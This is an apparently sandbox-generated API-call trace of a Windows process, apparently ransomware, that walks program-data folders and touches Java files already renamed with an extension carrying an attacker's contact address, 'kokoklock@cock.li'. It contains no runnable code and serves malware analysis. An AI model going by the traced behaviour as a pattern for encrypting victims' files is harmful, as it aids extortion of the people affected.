lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966f4c00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x966f4c00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x966f4c00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.703] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.703] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.703] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.703] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2=".") returned 1 [0174.703] wcscmp (_String1="vc_runtimeMinimum_x86.msi", _String2="..") returned 1 [0174.703] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.703] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0174.703] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0174.703] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc43a0) returned 1 [0174.703] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc40d0) returned 1 [0174.703] RtlExitUserThread (Status=0x0) Thread: id = 2244 os_tid = 0x13f8 [0174.704] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x30551d8 [0174.704] wcscpy (in: _Dest=0x30551d8, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64" [0174.704] wcscat (in: _Dest=0x30551d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\" [0174.704] wcscat (in: _Dest=0x30551d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*" [0174.704] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.705] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.705] wcscmp (_String1=".", _String2=".") returned 0 [0174.705] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.705] wcscmp (_String1="..", _String2=".") returned 1 [0174.705] wcscmp (_String1="..", _String2="..") returned 0 [0174.705] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bd6800, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xa4bd6800, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xa4bd6800, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.705] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.705] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.705] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.705] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0174.705] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0174.705] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.705] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0174.705] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0174.705] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30551d8) returned 1 [0174.705] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fe0) returned 1 [0174.705] RtlExitUserThread (Status=0x0) Thread: id = 2245 os_tid = 0x13fc [0174.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf2) returned 0x2f86218 [0174.706] wcscpy (in: _Dest=0x2f86218, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" [0174.706] wcscat (in: _Dest=0x2f86218, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\" [0174.706] wcscat (in: _Dest=0x2f86218, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*" [0174.707] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.707] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.707] wcscmp (_String1=".", _String2=".") returned 0 [0174.707] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.707] wcscmp (_String1="..", _String2=".") returned 1 [0174.707] wcscmp (_String1="..", _String2="..") returned 0 [0174.707] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe90b3300, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe90b3300, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe90b3300, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.707] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.707] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.707] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.707] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0174.707] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0174.707] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x11932d00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.707] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0174.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0174.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f86218) returned 1 [0174.707] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054448) returned 1 [0174.707] RtlExitUserThread (Status=0x0) Thread: id = 2246 os_tid = 0xd84 [0174.708] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x30551d8 [0174.708] wcscpy (in: _Dest=0x30551d8, _Source="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86" [0174.708] wcscat (in: _Dest=0x30551d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\" [0174.709] wcscat (in: _Dest=0x30551d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*" [0174.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.709] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.712] wcscmp (_String1=".", _String2=".") returned 0 [0174.712] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.712] wcscmp (_String1="..", _String2=".") returned 1 [0174.712] wcscmp (_String1="..", _String2="..") returned 0 [0174.712] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6151ff00, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x6151ff00, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x6151ff00, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x4b4520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.712] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.712] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.712] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.712] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0174.712] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0174.712] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbe7800, ftCreationTime.dwHighDateTime=0x1cf3e16, ftLastAccessTime.dwLowDateTime=0x5dbe7800, ftLastAccessTime.dwHighDateTime=0x1cf3e16, ftLastWriteTime.dwLowDateTime=0x5dbe7800, ftLastWriteTime.dwHighDateTime=0x1cf3e16, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.712] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0174.712] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0174.712] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30551d8) returned 1 [0174.712] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4490) returned 1 [0174.712] RtlExitUserThread (Status=0x0) Thread: id = 2247 os_tid = 0xd80 [0174.713] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.714] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.714] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.714] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\java.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.714] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b138) returned 1 [0174.714] RtlExitUserThread (Status=0x0) Thread: id = 2248 os_tid = 0xd30 [0174.715] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.716] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.716] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.716] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaw.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.716] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3068) returned 1 [0174.716] RtlExitUserThread (Status=0x0) Thread: id = 2249 os_tid = 0xcdc [0174.717] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaws.exe")) returned 0x20 [0174.718] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe", dwFileAttributes=0x20) returned 0 [0174.718] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath_target_474984\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.718] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath_target_474984\\javaws.exe", dwFileAttributes=0x20) returned 0 [0174.718] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f831f8) returned 1 [0174.718] RtlExitUserThread (Status=0x0) Thread: id = 2250 os_tid = 0xce0 [0174.719] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\java.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.719] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.719] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\java.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.720] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\java.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.720] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f91ea0) returned 1 [0174.720] RtlExitUserThread (Status=0x0) Thread: id = 2251 os_tid = 0xce4 [0174.721] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaw.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.721] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.721] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaw.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.721] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaw.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 0 [0174.721] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90e20) returned 1 [0174.721] RtlExitUserThread (Status=0x0) Thread: id = 2252 os_tid = 0xce8 [0174.722] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaws.exe")) returned 0x20 [0174.722] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe", dwFileAttributes=0x20) returned 0 [0174.723] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe" (normalized: "c:\\users\\all users\\oracle\\java\\javapath\\javaws.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.723] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\javapath\\javaws.exe", dwFileAttributes=0x20) returned 0 [0174.723] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30579f0) returned 1 [0174.723] RtlExitUserThread (Status=0x0) Thread: id = 2253 os_tid = 0xd20 [0174.724] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\baseimagefam8")) returned 0x2020 [0174.725] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8", dwFileAttributes=0x20) returned 0 [0174.725] CreateFileW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8" (normalized: "c:\\users\\all users\\oracle\\java\\installcache_x64\\baseimagefam8"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.725] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\installcache_x64\\baseimagefam8", dwFileAttributes=0x2020) returned 0 [0174.725] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa03b0) returned 1 [0174.725] RtlExitUserThread (Status=0x0) Thread: id = 2254 os_tid = 0xd28 [0174.726] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Oracle\\Java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\oracle\\java\\.oracle_jre_usage\\17dfc292991c7c46.timestamp.mailto[kokoklock@cock.li].d0e731")) returned 0x2020 [0174.727] SetFileAttributesW (lpFileName="C:\\Users\\All 